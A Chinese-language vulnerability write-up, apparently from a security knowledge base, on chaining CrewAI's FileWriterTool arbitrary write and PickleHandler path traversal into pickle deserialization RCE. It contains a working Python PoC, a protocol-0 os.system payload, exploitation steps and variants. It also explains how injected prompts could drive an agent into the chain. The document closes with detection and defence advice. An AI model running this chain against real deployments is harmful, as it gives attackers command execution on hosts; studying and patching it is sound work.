CrewAI FileWriterTool + PickleHandler 组合链:任意写 pickle + ../ 穿越 + pickle.load RCE
ai-security/agent-security · verified
一句话结论
CrewAI 的 FileWriterTool 对 directory/filename 没有任何路径限制,可把内容写到任意目录;PickleHandler 只用 os.path.join(os.getcwd(), file_name) 拼接路径、不规范化 ../,因此可穿越到工作目录外;两者组合时,攻击者先用 FileWriterTool 写入协议 0 的 ASCII pickle,再用 PickleHandler("../attack/malicious.pkl").load() 触发 pickle.load(),执行 __reduce__ 中的命令,获得 CrewAI 进程权限下的 RCE。
原理
- FileWriterTool 任意写:
_run中先按directory创建目录,再用os.path.join(directory or "", filename)拼路径,mode = "w" if overwrite else "x"直接open(filepath, mode).write(content)。没有realpath、commonpath、前缀校验或目录白名单,directory可以是/tmp、/var/tmp、应用可写的任意目录,filename可带子路径。 - 文本模式写 pickle 的限制与绕过:
FileWriterTool使用文本模式("w"),普通 pickle(协议 2+)是二进制,直接写会编码失败。pickle 协议 0 是纯 ASCII 操作码流(如cposix\nsystem\np0\n(Vecho ...\ntp2\nRp3\n.),可用latin-1解码为字符串交给file.write;后续pickle.load以二进制方式读取时仍能正确解析协议 0,因此文本模式不构成阻碍。 - PickleHandler 路径穿越:
__init__在文件名不以.pkl结尾时自动补后缀,然后self.file_path = os.path.join(os.getcwd(), file_name)。os.path.join只做字符串拼接,不会把..规范化,所以../attack/malicious.pkl得到/tmp/work/../attack/malicious.pkl,实际指向/tmp/attack/malicious.pkl;在 POSIX 上若file_name是绝对路径,os.path.join会直接丢弃 cwd,同样逃逸。 - 不安全反序列化:
load()检查文件存在且非空后执行pickle.load(file),源码里甚至保留了# noqa: S301来压制 Bandit 的“反序列化不可信数据”告警。pickle.load会按操作码导入模块并调用可调用对象,攻击者用__reduce__返回(os.system, (command,))即可在反序列化时执行命令。 - 组合链的意义:单独看,
FileWriterTool是一个“任意文件写入”原语,PickleHandler是一个“路径穿越 + 不安全反序列化”原语;组合后不需要目标机器上已有恶意文件,也不需要预先上传,写入与加载都在同一进程内完成,形成完整 RCE 链。对于 AI Agent 场景,工具参数通常由模型根据任务/外部输入生成,若FileWriterTool与PickleHandler同时暴露给 Agent,恶意提示词或不可信任务内容可以诱导 Agent 先写后读,从而把“工具调用”升级为主机命令执行。 - 影响范围:以运行 CrewAI 的 Python 进程权限为准;在容器/虚拟环境中通常为服务账号,可读写挂载目录、环境变量与内网可达资源。
触发条件
- 目标使用 crewai <= 1.0.0a2、crewai-tools <= 1.0.0a2(或包含相同实现的版本)。
- 攻击者可控制
FileWriterTool.run的directory、filename、content参数,或可诱导 Agent 调用该工具写入可控内容;同时可控制PickleHandler的file_name,或应用会把用户可控路径交给PickleHandler。 - 运行进程对写入目录有写权限;
PickleHandler的工作目录与写入目录存在可穿越的相对关系(或允许绝对路径)。 - 应用会调用
handler.load()读取该文件;若只写不读,链不闭环。 - 没有额外的路径沙箱/只读挂载/系统调用过滤阻止写入与
pickle.load。
利用步骤
- 生成协议 0 的恶意 pickle,
__reduce__返回os.system与命令:python import pickle, os class MaliciousPayload: def __reduce__(self): return (os.system, ('echo RCE_EXECUTED > /tmp/rce_marker.txt',)) pickle_str = pickle.dumps(MaliciousPayload(), protocol=0).decode('latin-1') - 用
FileWriterTool写入攻击目录:python from crewai_tools.tools.file_writer_tool.file_writer_tool import FileWriterTool FileWriterTool().run( directory="/tmp/attack", filename="malicious.pkl", content=pickle_str, overwrite=True, ) - 让应用的工作目录位于另一个目录(如
/tmp/work),构造穿越路径:python from crewai.utilities.file_handler import PickleHandler handler = PickleHandler("../attack/malicious.pkl") # file_path = /tmp/work/../attack/malicious.pkl → /tmp/attack/malicious.pkl - 调用
handler.load(),触发pickle.load与__reduce__,命令执行;检查标记文件确认 RCE。 - 在 Agent 场景中,把上述两步包装为工具调用序列:先让 Agent 调用 FileWriterTool 写入
.pkl,再让应用/工具调用 PickleHandler 加载该路径;或直接篡改工具参数实现同等效果。
PoC
最小验证代码(仅防御研究,未在本机执行):
import os, pickle, tempfile
from crewai.utilities.file_handler import PickleHandler
from crewai_tools.tools.file_writer_tool.file_writer_tool import FileWriterTool
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo RCE_EXECUTED > /tmp/rce_marker.txt',))
payload = pickle.dumps(MaliciousPayload(), protocol=0).decode('latin-1')
base = tempfile.mkdtemp()
work, attack = os.path.join(base, 'work'), os.path.join(base, 'attack')
os.makedirs(work); os.makedirs(attack)
FileWriterTool().run(directory=attack, filename='malicious.pkl', content=payload, overwrite=True)
os.chdir(work)
PickleHandler('../attack/malicious.pkl').load()
assert open('/tmp/rce_marker.txt').read().strip() == 'RCE_EXECUTED'
协议 0 载荷示例(cat 可见的 ASCII 形式):
cposix
system
p0
(Vecho "RCE_EXECUTED" > /tmp/rce_marker.txt
p1
tp2
Rp3
.
变体与关联
- 变体:
PickleHandler使用绝对路径(POSIX 下os.path.join(cwd, '/tmp/attack/malicious.pkl')返回绝对路径)绕过 cwd 限制;用../../多级穿越;把恶意文件写进应用随后会扫描/加载的目录。 - 变体:其他 Agent 文件写入工具(无路径校验)与任何
pickle.load/joblib.load/torch.loadsink 组合;协议 0 之外,若写入工具支持二进制/latin-1编码,也可写协议 2+ 载荷。 - 关联:[[web-python-deserialization-django-file-cache-pickle-rce]](文件缓存投毒触发 pickle)、[[web-python-deserialization-ply-yacc-picklefile-rce]](路径可控即 pickle.load)、[[ai-security-agent-security-agent-tool-file-hotload-backdoor-persistence]](Agent 工具写入后门)、[[ai-security-agent-security-file-read-tool-symlink-realpath-bypass]](Agent 文件工具路径边界绕过)。
检测与防御
- 升级/修补:关注 crewai/crewai-tools 修复版本;在
FileWriterTool中加入目录白名单与os.path.realpath+os.path.commonpath包含校验,拒绝绝对路径与..;在PickleHandler中同样做 realpath 边界检查,禁止绝对路径与穿越。 - 根除 pickle sink:不要对不可信路径调用
pickle.load;改用 JSON/MessagePack 等安全格式,或使用pickletools白名单校验、受限 Unpickler。无法替换时,至少确保文件只能来自受控目录且不可被攻击者写入。 - Agent 工具权限:不要把 FileWriterTool 这类任意写工具与可加载文件的工具同时暴露给不可信 Agent;对文件写入/加载加 HITL 审批、参数白名单、目录限制;Agent 运行在只读文件系统/低权限容器中,限制
os.system/child_process能力。 - 检测特征:AI 服务进程出现
sh -c/os.system子进程;写入文件名以.pkl结尾且路径含..或落在工作目录外;pickle 文件内容以cposix、c__builtin__、cos等协议 0 操作码开头;同一进程短时间内先写.pkl再读取。 - 日志与审计:记录工具调用的
directory、filename、file_name参数;对含../、绝对路径、.pkl的调用告警;监控pickle.load相关异常与命令执行。